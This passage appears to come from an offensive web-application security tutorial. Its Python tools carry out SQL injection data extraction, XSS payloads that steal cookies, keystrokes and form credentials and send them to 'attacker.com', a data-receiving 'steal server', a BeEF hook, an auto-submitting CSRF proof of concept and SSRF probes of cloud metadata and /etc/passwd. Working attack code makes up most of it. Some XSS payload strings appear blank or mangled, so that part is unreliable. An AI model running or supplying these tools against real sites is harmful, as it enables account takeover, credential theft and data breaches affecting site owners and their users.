payload,\n                    'delay': 'timeout',\n                    'url': test_url\n                })\n            except:\n                pass\n\n# Example usage\nsqli_types = SQLITypes()\ndetector = SQLIDetector('https://example.com/search', 'q')\n\nprint(\"[*] Testing error-based SQL injection...\")\ndetector.test_error_based(sqli_types.error_based_payloads())\n\nprint(\"[*] Testing blind boolean injection...\")\ndetector.test_blind_boolean(sqli_types.blind_boolean_payloads())\n\nif detector.vulnerabilities:\n    print(f\"\\n[!] Found {len(detector.vulnerabilities)} potential SQL injection vulnerabilities:\")\n    for vuln in detector.vulnerabilities:\n        print(f\"  - {vuln['type']}: {vuln['url']}\")\n```\n\n#### 13.1.2 Advanced SQL Injection Techniques\n\n**Database Fingerprinting**:\n\n```python\n#!/usr/bin/env python3\n# db_fingerprinting.py\n\nimport requests\nimport time\n\nclass DatabaseFingerprinter:\n    def __init__(self, target_url, param_name):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.db_type = None\n        \n    def fingerprint_by_errors(self):\n        \"\"\"Identify database type by error messages\"\"\"\n        \n        db_patterns = {\n            'MySQL': [\n                \"You have an error in your SQL syntax\",\n                \"MySQLSyntaxErrorException\",\n                \"com.mysql.jdbc\",\n                \"MariaDB\"\n            ],\n            'PostgreSQL': [\n                \"PostgreSQL\",\n                \"psycopg2\",\n                \"PG::SyntaxError\",\n                \"ERROR: syntax error at or near\",\n                \"driver for PostgreSQL\"\n            ],\n            'Oracle': [\n                \"ORA-\",\n                \"Oracle\",\n                \"oracle.jdbc\",\n                \"PL/SQL\"\n            ],\n            'MSSQL': [\n                \"Microsoft OLE DB\",\n                \"Microsoft SQL Server\",\n                \"SQLServer JDBC\",\n                \"com.microsoft.sqlserver\",\n                \"Incorrect syntax near\"\n            ],\n            'SQLite': [\n                \"SQLite\",\n                \"sqlite3\",\n                \"unable to open database file\"\n            ]\n        }\n        \n        test_payloads = [\"'\", \"\\\"\", \"')\", \"\\\"))\", \"'--\"]\n        \n        for payload in test_payloads:\n            url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                response = requests.get(url, timeout=5)\n                \n                for db, patterns in db_patterns.items():\n                    for pattern in patterns:\n                        if pattern.lower() in response.text.lower():\n                            self.db_type = db\n                            return {\n                                'database': db,\n                                'method': 'error_message',\n                                'payload': payload,\n                                'pattern': pattern\n                            }\n            except:\n                pass\n                \n        return None\n    \n    def fingerprint_by_functions(self):\n        \"\"\"Identify database by version functions\"\"\"\n        \n        db_tests = {\n            'MySQL': [\"@@version\", \"version()\", \"now()\"],\n            'PostgreSQL': [\"version()\", \"current_database()\", \"pg_sleep(1)\"],\n            'Oracle': [\"v$version\", \"sysdate\", \"dbms_random.value\"],\n            'MSSQL': [\"@@version\", \"getdate()\", \"db_name()\"],\n            'SQLite': [\"sqlite_version()\", \"date('now')\"]\n        }\n        \n        results = {}\n        \n        for db, functions in db_tests.items():\n            for func in functions:\n                payload = f\"' AND (SELECT {func}) IS NOT NULL--\"\n                url = f\"{self.target_url}?{self.param_name}={payload}\"\n                \n                try:\n                    response = requests.get(url, timeout=5)\n                    \n                    # Check if function was executed (no error)\n                    if \"error\" not in response.text.lower():\n                        if db not in results:\n                            results[db] = 0\n                        results[db] += 1\n                except:\n                    pass\n                    \n        if results:\n            self.db_type = max(results, key=results.get)\n            return {\n                'database': self.db_type,\n                'method': 'function_test',\n                'scores': results\n            }\n            \n        return None\n    \n    def fingerprint_by_time_delays(self):\n        \"\"\"Identify database by sleep function behavior\"\"\"\n        \n        db_sleep = {\n            'MySQL': \"SLEEP(3)\",\n            'PostgreSQL': \"pg_sleep(3)\",\n            'MSSQL': \"WAITFOR DELAY '0:0:3'\",\n            'Oracle': \"DBMS_LOCK.SLEEP(3)\"\n        }\n        \n        baseline_time = None\n        \n        for db, sleep_func in db_sleep.items():\n            payload = f\"'; {sleep_func}--\"\n            url = f\"{self.target_url}?{self.param_name}={payload}\"\n            \n            try:\n                start_time = time.time()\n                response = requests.get(url, timeout=10)\n                elapsed = time.time() - start_time\n                \n                if baseline_time is None:\n                    baseline_time = elapsed\n                    \n                if elapsed &gt; baseline_time + 2:  # Significant delay\n                    return {\n                        'database': db,\n                        'method': 'time_delay',\n                        'delay': elapsed,\n                        'function': sleep_func\n                    }\n            except requests.Timeout:\n                return {\n                    'database': db,\n                    'method': 'time_delay',\n                    'delay': 'timeout',\n                    'function': sleep_func\n                }\n            except:\n                pass\n                \n        return None\n    \n    def fingerprint_by_comment_syntax(self):\n        \"\"\"Identify database by comment syntax\"\"\"\n        \n        comment_tests = {\n            'MySQL': [\"-- \", \"#\", \"/*! */\"],\n            'PostgreSQL': [\"--\"],\n            'Oracle': [\"--\"],\n            'MSSQL': [\"--\", \"/* */\"]\n        }\n        \n        base_payload = \"' OR 1=1\"\n        \n        for db, comments in comment_tests.items():\n            for comment in comments:\n                payload = f\"{base_payload}{comment}\"\n                url = f\"{self.target_url}?{self.param_name}={payload}\"\n                \n                try:\n                    response = requests.get(url, timeout=5)\n                    \n                    # If comment works, should return results\n                    if \"error\" not in response.text.lower():\n                        return {\n                            'database': db,\n                            'method': 'comment_syntax',\n                            'comment': comment\n                        }\n                except:\n                    pass\n                    \n        return None\n    \n    def fingerprint(self):\n        \"\"\"Run all fingerprinting techniques\"\"\"\n        \n        methods = [\n            self.fingerprint_by_errors,\n            self.fingerprint_by_functions,\n            self.fingerprint_by_time_delays,\n            self.fingerprint_by_comment_syntax\n        ]\n        \n        for method in methods:\n            result = method()\n            if result:\n                print(f\"[+] Database identified: {result['database']} via {result['method']}\")\n                return result\n                \n        print(\"[-] Could not identify database type\")\n        return None\n\n# Example usage\nfingerprinter = DatabaseFingerprinter('https://example.com/search', 'q')\nresult = fingerprinter.fingerprint()\n```\n\n**Data Extraction with SQL Injection**:\n\n```python\n#!/usr/bin/env python3\n# sqli_extractor.py\n\nimport requests\nimport string\nimport time\n\nclass SQLIExtractor:\n    def __init__(self, target_url, param_name, db_type='mysql'):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.db_type = db_type\n        \n    def extract_database_names(self):\n        \"\"\"Extract database names\"\"\"\n        \n        if self.db_type == 'mysql':\n            return self.extract_mysql_databases()\n        elif self.db_type == 'postgresql':\n            return self.extract_postgresql_databases()\n        elif self.db_type == 'mssql':\n            return self.extract_mssql_databases()\n        else:\n            return []\n    \n    def extract_mysql_databases(self):\n        \"\"\"Extract database names from MySQL\"\"\"\n        \n        databases = []\n        \n        # Get number of databases\n        count_payload = f\"' UNION SELECT COUNT(schema_name) FROM information_schema.schemata--\"\n        url = f\"{self.target_url}?{self.param_name}={count_payload}\"\n        \n        try:\n            response = requests.get(url)\n            # Parse count from response (simplified)\n            # In real scenario, would need to extract from HTML\n            \n            # Extract database names character by character\n            for i in range(1, 10):  # Assume max 10 databases\n                db_name = self.extract_string(\n                    f\"SELECT schema_name FROM information_schema.schemata LIMIT {i-1},1\"\n                )\n                if db_name:\n                    databases.append(db_name)\n                    \n        except Exception as e:\n            print(f\"Error: {e}\")\n            \n        return databases\n    \n    def extract_string(self, query):\n        \"\"\"Extract string using blind boolean technique\"\"\"\n        \n        result = \"\"\n        charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + \"_\"\n        \n        for position in range(1, 50):  # Max length 50\n            found = False\n            for char in charset:\n                # Blind boolean payload\n                payload = f\"' AND ASCII(SUBSTRING(({query}),{position},1))={ord(char)}--\"\n                url = f\"{self.target_url}?{self.param_name}={payload}\"\n                \n                try:\n                    response = requests.get(url)\n                    \n                    # Compare with baseline (true condition)\n                    true_payload = f\"' AND 1=1--\"\n                    true_url = f\"{self.target_url}?{self.param_name}={true_payload}\"\n                    true_response = requests.get(true_url)\n                    \n                    if len(response.text) == len(true_response.text):\n                        result += char\n                        found = True\n                        print(f\"  Found: {result}\")\n                        break\n                except:\n                    pass\n                    \n            if not found:\n                break\n                \n        return result if result else None\n    \n    def extract_time_based(self, query, delay=3):\n        \"\"\"Extract data using time-based technique\"\"\"\n        \n        result = \"\"\n        charset = string.ascii_lowercase + string.ascii_uppercase + string.digits\n        \n        for position in range(1, 50):\n            for char in charset:\n                # Time-based payload\n                if self.db_type == 'mysql':\n                    payload = f\"' AND IF(ASCII(SUBSTRING(({query}),{position},1))={ord(char)},SLEEP({delay}),0)--\"\n                elif self.db_type == 'postgresql':\n                    payload = f\"' AND CASE WHEN ASCII(SUBSTRING(({query}),{position},1))={ord(char)} THEN pg_sleep({delay}) ELSE 0 END--\"\n                elif self.db_type == 'mssql':\n                    payload = f\"'; IF ASCII(SUBSTRING(({query}),{position},1))={ord(char)} WAITFOR DELAY '0:0:{delay}'--\"\n                else:\n                    return None\n                    \n                url = f\"{self.target_url}?{self.param_name}={payload}\"\n                \n                try:\n                    start_time = time.time()\n                    response = requests.get(url, timeout=delay+2)\n                    elapsed = time.time() - start_time\n                    \n                    if elapsed &gt;= delay:\n                        result += char\n                        print(f\"  Found: {result}\")\n                        break\n                except requests.Timeout:\n                    result += char\n                    print(f\"  Found: {result}\")\n                    break\n                except:\n                    pass\n                    \n        return result if result else None\n\n# Example usage\nextractor = SQLIExtractor('https://example.com/search', 'q', 'mysql')\ndatabases = extractor.extract_database_names()\nprint(f\"[+] Found databases: {databases}\")\n```\n\n### 13.2 Cross-Site Scripting (XSS)\n\nXSS allows attackers to inject malicious scripts into web pages viewed by other users, leading to session hijacking, credential theft, and other attacks.\n\n#### 13.2.1 XSS Types and Detection\n\n```python\n#!/usr/bin/env python3\n# xss_detector.py\n\nimport requests\nimport re\nfrom urllib.parse import quote, urljoin\n\nclass XSSDetector:\n    def __init__(self):\n        self.xss_types = {\n            'reflected': 'Script executes immediately, comes from current request',\n            'stored': 'Script stored on server, affects all users',\n            'dom-based': 'Vulnerability in client-side code, not server response'\n        }\n        \n    def generate_payloads(self):\n        \"\"\"Generate XSS test payloads\"\"\"\n        return {\n            'basic': [\n                'alert(\"XSS\")',\n                'alert(1)',\n                '\"&gt;alert(1)',\n                '\\'&gt;alert(1)',\n                'alert(1)',\n                '',\n                '',\n                '',\n                '',\n                '\n'\n            ],\n            'obfuscated': [\n                'alert(1)',\n                '\\u0061lert(1)',\n                'eval(String.fromCharCode(97,108,101,114,116,40,49,41))',\n                'window[\"al\"+\"ert\"](1)',\n                'click',\n                '',\n                '',\n                'setTimeout(\"alert(1)\", 1000)'\n            ],\n            'polyglot': [\n                'jaVasCript:/*-/*`/*\\`/*\\'/*\"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//\\x3dsvg/onload=alert(1)//',\n                '\"&gt;',\n                'javascript:/*--&gt;\"&gt;'\n            ],\n            'event_handlers': [\n                'onload=alert(1)',\n                'onerror=alert(1)',\n                'onclick=alert(1)',\n                'onmouseover=alert(1)',\n                'onfocus=alert(1)',\n                'onblur=alert(1)',\n                'onchange=alert(1)',\n                'onsubmit=alert(1)',\n                'onreset=alert(1)',\n                'onselect=alert(1)',\n                'onkeydown=alert(1)',\n                'onkeypress=alert(1)',\n                'onkeyup=alert(1)'\n            ],\n            'bypass_attempts': [\n                'ipt&gt;alert(1)ipt&gt;',\n                '&lt;alert(1)',\n                'alert(1)alert(1)//',\n                'alert(1)',\n                'alert(1)',\n                'alert(1)',\n                'alert(1)',\n                'alert(1)//alert(1)',\n                'alert(1)',\n                'alert(1)alert(1)',\n                # For JSON\n                '\"-alert(1)-\"',\n                # For template literals\n                '${alert(1)}'\n            ]\n        }\n    \n    def test_reflected_xss(self, url, param_name, payloads):\n        \"\"\"Test for reflected XSS\"\"\"\n        \n        results = []\n        \n        for payload in payloads:\n            encoded_payload = quote(payload)\n            test_url = f\"{url}?{param_name}={encoded_payload}\"\n            \n            try:\n                response = requests.get(test_url, timeout=5)\n                \n                # Check if payload is reflected in response\n                if payload in response.text:\n                    results.append({\n                        'type': 'reflected',\n                        'url': test_url,\n                        'payload': payload,\n                        'reflected': True,\n                        'context': self.analyze_context(payload, response.text)\n                    })\n                    \n                    # Check for proper HTML context\n                    if self.is_executable_context(payload, response.text):\n                        results[-1]['executable'] = True\n                        \n            except Exception as e:\n                print(f\"Error testing {payload}: {e}\")\n                \n        return results\n    \n    def test_stored_xss(self, submit_url, param_name, payloads, verify_url):\n        \"\"\"Test for stored XSS\"\"\"\n        \n        results = []\n        \n        for payload in payloads:\n            try:\n                # Submit payload\n                data = {param_name: payload}\n                response = requests.post(submit_url, data=data)\n                \n                # Check if payload is stored\n                verify_response = requests.get(verify_url)\n                \n                if payload in verify_response.text:\n                    results.append({\n                        'type': 'stored',\n                        'payload': payload,\n                        'submit_url': submit_url,\n                        'verify_url': verify_url,\n                        'reflected': True,\n                        'context': self.analyze_context(payload, verify_response.text)\n                    })\n                    \n            except Exception as e:\n                print(f\"Error testing {payload}: {e}\")\n                \n        return results\n    \n    def test_dom_xss(self, url, param_name, payloads):\n        \"\"\"Basic DOM XSS detection\"\"\"\n        \n        results = []\n        \n        # DOM XSS often requires JavaScript execution to detect\n        # This is a simplified version checking for potential sinks\n        \n        dom_sinks = [\n            'document.write',\n            'innerHTML',\n            'outerHTML',\n            'eval',\n            'setTimeout',\n            'setInterval',\n            'location',\n            'location.href',\n            'location.replace',\n            'document.cookie'\n        ]\n        \n        for payload in payloads:\n            encoded_payload = quote(payload)\n            test_url = f\"{url}?{param_name}={encoded_payload}\"\n            \n            try:\n                response = requests.get(test_url)\n                \n                # Look for DOM sinks in JavaScript\n                for sink in dom_sinks:\n                    if sink in response.text:\n                        results.append({\n                            'type': 'dom-based',\n                            'url': test_url,\n                            'payload': payload,\n                            'potential_sink': sink,\n                            'requires_manual': True\n                        })\n                        break\n                        \n            except Exception as e:\n                print(f\"Error: {e}\")\n                \n        return results\n    \n    def analyze_context(self, payload, response_text):\n        \"\"\"Analyze where payload appears in response\"\"\"\n        \n        context = {\n            'html_context': None,\n            'surrounded_by': None,\n            'encoding': None\n        }\n        \n        # Find payload position\n        position = response_text.find(payload)\n        if position == -1:\n            return context\n            \n        # Check surrounding characters\n        start = max(0, position - 50)\n        end = min(len(response_text), position + len(payload) + 50)\n        context_snippet = response_text[start:end]\n        \n        # Determine context\n        if re.search(r']*&gt;.*?' + re.escape(payload) + r'.*?', response_text, re.DOTALL | re.IGNORECASE):\n            context['html_context'] = 'script'\n        elif re.search(r'&lt;[^&gt;]*' + re.escape(payload) + r'[^&gt;]*&gt;', response_text):\n            context['html_context'] = 'tag_attribute'\n        elif re.search(r'', response_text, re.DOTALL):\n            context['html_context'] = 'comment'\n        elif re.search(r']*&gt;.*?' + re.escape(payload) + r'.*?', response_text, re.DOTALL | re.IGNORECASE):\n            context['html_context'] = 'css'\n        else:\n            context['html_context'] = 'html_body'\n            \n        # Check for HTML encoding\n        if '&lt;' in context_snippet and '&gt;' in context_snippet:\n            context['encoding'] = 'html_encoded'\n        elif '\\\\u' in context_snippet or '\\\\x' in context_snippet:\n            context['encoding'] = 'unicode_escape'\n            \n        context['snippet'] = context_snippet\n        \n        return context\n    \n    def is_executable_context(self, payload, response_text):\n        \"\"\"Check if payload appears in executable context\"\"\"\n        \n        executable_patterns = [\n            r']*&gt;.*?' + re.escape(payload) + r'.*?',\n            r'on\\w+\\s*=\\s*[\"\\']?[^\"\\']*' + re.escape(payload) + r'[^\"\\']*',\n            r'href\\s*=\\s*[\"\\']?javascript:.*?' + re.escape(payload),\n            r'src\\s*=\\s*[\"\\']?javascript:.*?' + re.escape(payload)\n        ]\n        \n        for pattern in executable_patterns:\n            if re.search(pattern, response_text, re.DOTALL | re.IGNORECASE):\n                return True\n                \n        return False\n\n# Example usage\ndetector = XSSDetector()\npayloads = detector.generate_payloads()\n\n# Test for reflected XSS\nresults = detector.test_reflected_xss(\n    'https://example.com/search',\n    'q',\n    payloads['basic'] + payloads['obfuscated']\n)\n\nprint(f\"\\n[+] Found {len(results)} potential XSS vulnerabilities:\")\nfor result in results:\n    print(f\"  - {result['type']}: {result['url']}\")\n    print(f\"    Context: {result['context']['html_context']}\")\n    if result.get('executable'):\n        print(f\"    [!] Appears executable!\")\n```\n\n#### 13.2.2 Advanced XSS Exploitation\n\n```python\n#!/usr/bin/env python3\n# xss_exploitation.py\n\nimport requests\nimport base64\nimport json\nfrom urllib.parse import quote\n\nclass XSSExploiter:\n    def __init__(self, target_url, param_name):\n        self.target_url = target_url\n        self.param_name = param_name\n        \n    def generate_session_hijacking_payload(self, attacker_server):\n        \"\"\"Generate payload to steal session cookies\"\"\"\n        \n        payload = f\"\"\"\n        \n        var img = new Image();\n        img.src = '{attacker_server}/steal?cookie=' + document.cookie +\n                  '&amp;url=' + encodeURIComponent(window.location.href) +\n                  '&amp;referrer=' + encodeURIComponent(document.referrer);\n        \n        \"\"\"\n        \n        return {\n            'payload': payload.strip(),\n            'type': 'session_hijacking',\n            'description': 'Steals cookies and sends to attacker server'\n        }\n    \n    def generate_keylogger_payload(self, attacker_server):\n        \"\"\"Generate keylogger payload\"\"\"\n        \n        payload = f\"\"\"\n        \n        document.addEventListener('keydown', function(e) {{\n            var img = new Image();\n            img.src = '{attacker_server}/keylog?key=' + \n                     encodeURIComponent(e.key) +\n                     '&amp;timestamp=' + Date.now();\n        }});\n        \n        \"\"\"\n        \n        return {\n            'payload': payload.strip(),\n            'type': 'keylogger',\n            'description': 'Logs all keystrokes'\n        }\n    \n    def generate_credential_harvesting_payload(self, attacker_server, login_form_selector='#login-form'):\n        \"\"\"Generate payload to harvest credentials\"\"\"\n        \n        payload = f\"\"\"\n        \n        document.addEventListener('submit', function(e) {{\n            var form = e.target;\n            var data = {{}};\n            for (var i = 0; i &lt; form.elements.length; i++) {{\n                var element = form.elements[i];\n                if (element.name) {{\n                    data[element.name] = element.value;\n                }}\n            }}\n            \n            fetch('{attacker_server}/steal', {{\n                method: 'POST',\n                body: JSON.stringify(data),\n                headers: {{'Content-Type': 'application/json'}}\n            }});\n        }});\n        \n        \"\"\"\n        \n        return {\n            'payload': payload.strip(),\n            'type': 'credential_harvesting',\n            'description': 'Steals form submissions'\n        }\n    \n    def generate_port_scan_payload(self):\n        \"\"\"Generate internal port scanner using XSS\"\"\"\n        \n        payload = \"\"\"\n        \n        function scanPort(ip, port) {\n            var img = new Image();\n            img.onerror = function() {\n                console.log('Port ' + port + ' is open?');\n                // Report back\n            };\n            img.onload = function() {\n                console.log('Port ' + port + ' might be open');\n            };\n            img.src = 'http://' + ip + ':' + port;\n        }\n        \n        // Scan common internal IPs and ports\n        var ips = ['192.168.1.1', '192.168.0.1', '10.0.0.1'];\n        var ports = [80, 443, 22, 3306, 5432, 8080];\n        \n        for (var i = 0; i &lt; ips.length; i++) {\n            for (var j = 0; j &lt; ports.length; j++) {\n                setTimeout(scanPort, j * 100, ips[i], ports[j]);\n            }\n        }\n        \n        \"\"\"\n        \n        return {\n            'payload': payload.strip(),\n            'type': 'port_scan',\n            'description': 'Scans internal network'\n        }\n    \n    def generate_beef_hook_payload(self, beef_url='http://localhost:3000/hook.js'):\n        \"\"\"Generate BeEF hook payload\"\"\"\n        \n        payload = f''\n        \n        return {\n            'payload': payload,\n            'type': 'beef_hook',\n            'description': 'Hooks browser into BeEF framework'\n        }\n    \n    def generate_polyglot_payload(self):\n        \"\"\"Generate polyglot XSS payload for multiple contexts\"\"\"\n        \n        payload = \"\"\"\n        /*' onmouseover=alert(1) '&gt;\n        \n        \"\"\"\n        \n        return {\n            'payload': payload.strip(),\n            'type': 'polyglot',\n            'description': 'Works in multiple contexts'\n        }\n    \n    def test_payload(self, payload, additional_params=None):\n        \"\"\"Test if payload executes\"\"\"\n        \n        encoded_payload = quote(payload)\n        test_url = f\"{self.target_url}?{self.param_name}={encoded_payload}\"\n        \n        if additional_params:\n            for key, value in additional_params.items():\n                test_url += f\"&amp;{key}={quote(value)}\"\n                \n        try:\n            response = requests.get(test_url)\n            \n            # Check if payload reflected\n            if payload in response.text:\n                return {\n                    'url': test_url,\n                    'status_code': response.status_code,\n                    'payload_reflected': True,\n                    'length': len(response.text)\n                }\n        except Exception as e:\n            return {'error': str(e)}\n            \n        return None\n    \n    def create_steal_server(self):\n        \"\"\"Simple HTTP server to steal data\"\"\"\n        \n        from http.server import HTTPServer, BaseHTTPRequestHandler\n        \n        class StealHandler(BaseHTTPRequestHandler):\n            def do_GET(self):\n                print(f\"[+] Received: {self.path}\")\n                self.send_response(200)\n                self.end_headers()\n                \n            def do_POST(self):\n                content_length = int(self.headers['Content-Length'])\n                post_data = self.rfile.read(content_length)\n                print(f\"[+] Received POST: {post_data.decode('utf-8', errors='ignore')}\")\n                self.send_response(200)\n                self.end_headers()\n                \n        server = HTTPServer(('0.0.0.0', 8080), StealHandler)\n        print(\"[*] Starting steal server on port 8080...\")\n        server.serve_forever()\n\n# Example usage\nexploiter = XSSExploiter('https://example.com/search', 'q')\n\n# Generate different payloads\npayloads = [\n    exploiter.generate_session_hijacking_payload('http://attacker.com'),\n    exploiter.generate_beef_hook_payload(),\n    exploiter.generate_keylogger_payload('http://attacker.com'),\n    exploiter.generate_port_scan_payload()\n]\n\n# Test payloads\nfor payload_info in payloads:\n    print(f\"\\n[*] Testing {payload_info['type']} payload...\")\n    result = exploiter.test_payload(payload_info['payload'])\n    if result and result.get('payload_reflected'):\n        print(f\"  [+] Payload reflected! URL: {result['url']}\")\n```\n\n### 13.3 Cross-Site Request Forgery (CSRF)\n\nCSRF attacks force authenticated users to execute unwanted actions on web applications where they're currently authenticated.\n\n#### 13.3.1 CSRF Detection and Testing\n\n```python\n#!/usr/bin/env python3\n# csrf_tester.py\n\nimport requests\nimport re\nfrom urllib.parse import urlparse, parse_qs\n\nclass CSRFTester:\n    def __init__(self, target_url, session_cookie=None):\n        self.target_url = target_url\n        self.session_cookie = session_cookie\n        self.session = requests.Session()\n        \n        if session_cookie:\n            self.session.cookies.update(session_cookie)\n            \n    def check_csrf_token_presence(self, form_url):\n        \"\"\"Check if forms contain CSRF tokens\"\"\"\n        \n        try:\n            response = self.session.get(form_url)\n            \n            csrf_indicators = [\n                'csrf',\n                'token',\n                '_token',\n                'authenticity_token',\n                'csrfmiddlewaretoken',\n                'csrf_token',\n                '__RequestVerificationToken',\n                'nonce',\n                'xsrf'\n            ]\n            \n            found_tokens = []\n            \n            for indicator in csrf_indicators:\n                if indicator in response.text.lower():\n                    # Look for input fields with these names\n                    pattern = f']*name=[\"\\']([^\"\\']*{indicator}[^\"\\']*)[\"\\'][^&gt;]*&gt;'\n                    matches = re.findall(pattern, response.text, re.IGNORECASE)\n                    \n                    for match in matches:\n                        found_tokens.append({\n                            'name': match,\n                            'in_form': True\n                        })\n                        \n            return {\n                'has_csrf_tokens': len(found_tokens) &gt; 0,\n                'tokens': found_tokens,\n                'url': form_url\n            }\n            \n        except Exception as e:\n            return {'error': str(e)}\n    \n    def test_same_origin_policy(self, action_url):\n        \"\"\"Test if requests validate origin/referer headers\"\"\"\n        \n        test_cases = [\n            {\n                'name': 'Same Origin',\n                'origin': urlparse(self.target_url).netloc,\n                'referer': self.target_url,\n                'expected': 200\n            },\n            {\n                'name': 'Different Origin',\n                'origin': 'evil.com',\n                'referer': 'https://evil.com',\n                'expected': 403\n            },\n            {\n                'name': 'No Referer',\n                'origin': None,\n                'referer': None,\n                'expected': 403\n            },\n            {\n                'name': 'Spoofed Origin',\n                'origin': urlparse(self.target_url).netloc,\n                'referer': 'https://evil.com',\n                'expected': 403\n            }\n        ]\n        \n        results = []\n        \n        for test in test_cases:\n            headers = {}\n            if test['origin']:\n                headers['Origin'] = test['origin']\n            if test['referer']:\n                headers['Referer'] = test['referer']\n                \n            try:\n                response = self.session.get(action_url, headers=headers)\n                \n                results.append({\n                    'test': test['name'],\n                    'status_code': response.status_code,\n                    'vulnerable': response.status_code == test['expected'] and test['expected'] == 200,\n                    'headers_sent': headers\n                })\n            except Exception as e:\n                results.append({\n                    'test': test['name'],\n                    'error': str(e)\n                })\n                \n        return results\n    \n    def generate_csrf_poc(self, form_data, action_url, method='POST'):\n        \"\"\"Generate CSRF proof of concept HTML\"\"\"\n        \n        html = f\"\"\"\n        \n        \n        \n            CSRF Proof of Concept\n        \n        \n            \nCSRF Exploit\n            \nThis form will automatically submit a request to {action_url}\n            \n            \n\n        \"\"\"\n        \n        for name, value in form_data.items():\n            html += f'            \\n'\n            \n        html += \"\"\"\n            \n            \n            \n                // Auto-submit the form\n                document.getElementById('csrfForm').submit();\n            \n            \n            \n                \n                    Click here to submit (JavaScript required for auto-submit)\n                \n            \n        \n        \n        \"\"\"\n        \n        return html\n    \n    def test_csrf_vulnerability(self, form_url, action_url, form_data):\n        \"\"\"Test for CSRF vulnerability\"\"\"\n        \n        results = {\n            'csrf_token_check': self.check_csrf_token_presence(form_url),\n            'origin_validation': self.test_same_origin_policy(action_url),\n            'csrf_vulnerable': False,\n            'recommendations': []\n        }\n        \n        # Determine if vulnerable\n        token_check = results['csrf_token_check']\n        \n        if not token_check.get('has_csrf_tokens', True):\n            # No CSRF tokens found\n            results['csrf_vulnerable'] = True\n            results['recommendations'].append(\"Implement anti-CSRF tokens in all state-changing forms\")\n            \n        # Check origin validation\n        for test in results['origin_validation']:\n            if test.get('vulnerable') and test['test'] in ['Different Origin', 'No Referer', 'Spoofed Origin']:\n                results['csrf_vulnerable'] = True\n                results['recommendations'].append(\"Validate Origin and Referer headers\")\n                break\n                \n        # Try to generate a successful CSRF request\n        try:\n            # Create a new session (simulating victim)\n            victim_session = requests.Session()\n            \n            # First, victim logs in (simulated)\n            # In real testing, you'd have the victim authenticated\n            \n            # Then, attacker's forged request\n            forged_response = victim_session.post(action_url, data=form_data)\n            \n            results['forged_request_status'] = forged_response.status_code\n            \n            if forged_response.status_code == 200:\n                results['csrf_vulnerable'] = True\n                results['recommendations'].append(\"Action successfully executed without valid CSRF token\")\n                \n        except Exception as e:\n            results['forged_request_error'] = str(e)\n            \n        return results\n    \n    def test_csrf_on_all_forms(self, base_url):\n        \"\"\"Test all forms on a page for CSRF\"\"\"\n        \n        try:\n            response = self.session.get(base_url)\n            \n            # Find all forms\n            form_pattern = r']*action=[\"\\']([^\"\\']*)[\"\\'][^&gt;]*&gt;(.*?)'\n            forms = re.findall(form_pattern, response.text, re.DOTALL | re.IGNORECASE)\n            \n            results = []\n            \n            for action, form_content in forms:\n                # Resolve relative URLs\n                if not action.startswith('http'):\n                    action = requests.compat.urljoin(base_url, action)\n                    \n                # Find all inputs\n                input_pattern = r']*name=[\"\\']([^\"\\']*)[\"\\'][^&gt;]*&gt;'\n                inputs = re.findall(input_pattern, form_content)\n                \n                # Find method\n                method_pattern = r'method=[\"\\']([^\"\\']*)[\"\\']'\n                method_match = re.search(method_pattern, form_content, re.IGNORECASE)\n                method = method_match.group(1) if method_match else 'GET'\n                \n                # Prepare form data (with example values)\n                form_data = {}\n                for input_name in inputs:\n                    if input_name not in ['submit', 'button']:\n                        form_data[input_name] = 'test_value'\n                        \n                # Test this form\n                form_result = self.test_csrf_vulnerability(base_url, action, form_data)\n                form_result['form_action'] = action\n                form_result['form_method'] = method\n                \n                results.append(form_result)\n                \n            return results\n            \n        except Exception as e:\n            return {'error': str(e)}\n\n# Example usage\ntester = CSRFTester('https://example.com', {'session': 'victim_session_cookie'})\n\n# Test a specific form\nresult = tester.test_csrf_vulnerability(\n    'https://example.com/profile',\n    'https://example.com/update-profile',\n    {'email': 'attacker@evil.com', 'name': 'Hacked'}\n)\n\nprint(json.dumps(result, indent=2))\n\nif result['csrf_vulnerable']:\n    print(\"\\n[!] CSRF vulnerability detected!\")\n    poc = tester.generate_csrf_poc(\n        {'email': 'attacker@evil.com', 'name': 'Hacked'},\n        'https://example.com/update-profile'\n    )\n    \n    with open('csrf_poc.html', 'w') as f:\n        f.write(poc)\n    print(\"[+] CSRF PoC saved to csrf_poc.html\")\n```\n\n### 13.4 Server-Side Request Forgery (SSRF)\n\nSSRF allows attackers to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.\n\n#### 13.4.1 SSRF Detection and Exploitation\n\n```python\n#!/usr/bin/env python3\n# ssrf_tester.py\n\nimport requests\nimport socket\nimport ipaddress\nfrom urllib.parse import urlparse, urljoin\n\nclass SSRFTester:\n    def __init__(self, target_url, param_name, method='GET'):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.method = method\n        self.vulnerabilities = []\n        \n    def generate_payloads(self):\n        \"\"\"Generate SSRF test payloads\"\"\"\n        return {\n            'local': [\n                'http://127.0.0.1',\n                'http://localhost',\n                'http://[::1]',\n                'http://0.0.0.0',\n                'http://0',\n                'http://127.0.0.1:22',\n                'http://127.0.0.1:80',\n                'http://127.0.0.1:443',\n                'http://127.0.0.1:3306',\n                'http://127.0.0.1:5432',\n                'http://127.0.0.1:6379',\n                'http://127.0.0.1:9200',\n                'http://127.0.0.1:27017',\n                'http://127.0.0.1:8080',\n                'https://localhost',\n                'file:///etc/passwd',\n                'file:///c:/windows/win.ini'\n            ],\n            'internal': [\n                'http://10.0.0.1',\n                'http://10.0.0.2',\n                'http://172.16.0.1',\n                'http://172.17.0.1',\n                'http://192.168.1.1',\n                'http://192.168.0.1',\n                'http://169.254.169.254',  # AWS metadata\n                'http://169.254.169.254/latest/meta-data/',\n                'http://metadata.google.internal',\n                'http://metadata.google.internal/computeMetadata/v1/',\n                'http://100.100.100.200/latest/meta-data/',  # Aliyun\n                'http://169.254.169.254/2009-04-04/meta-data/'\n            ],\n            'protocols': [\n                'file:///etc/passwd',\n                'file:///c:/windows/win.ini',\n                'dict://127.0.0.1:11211/',  # Memcached\n                'gopher://127.0.0.1:8080/_GET / HTTP/1.0',\n                'ftp://127.0.0.1:21/',\n                'sftp://127.0.0.1:22/',\n                'ldap://127.0.0.1:389/',\n                'smb://127.0.0.1:445/',\n                'redis://127.0.0.1:6379/',\n                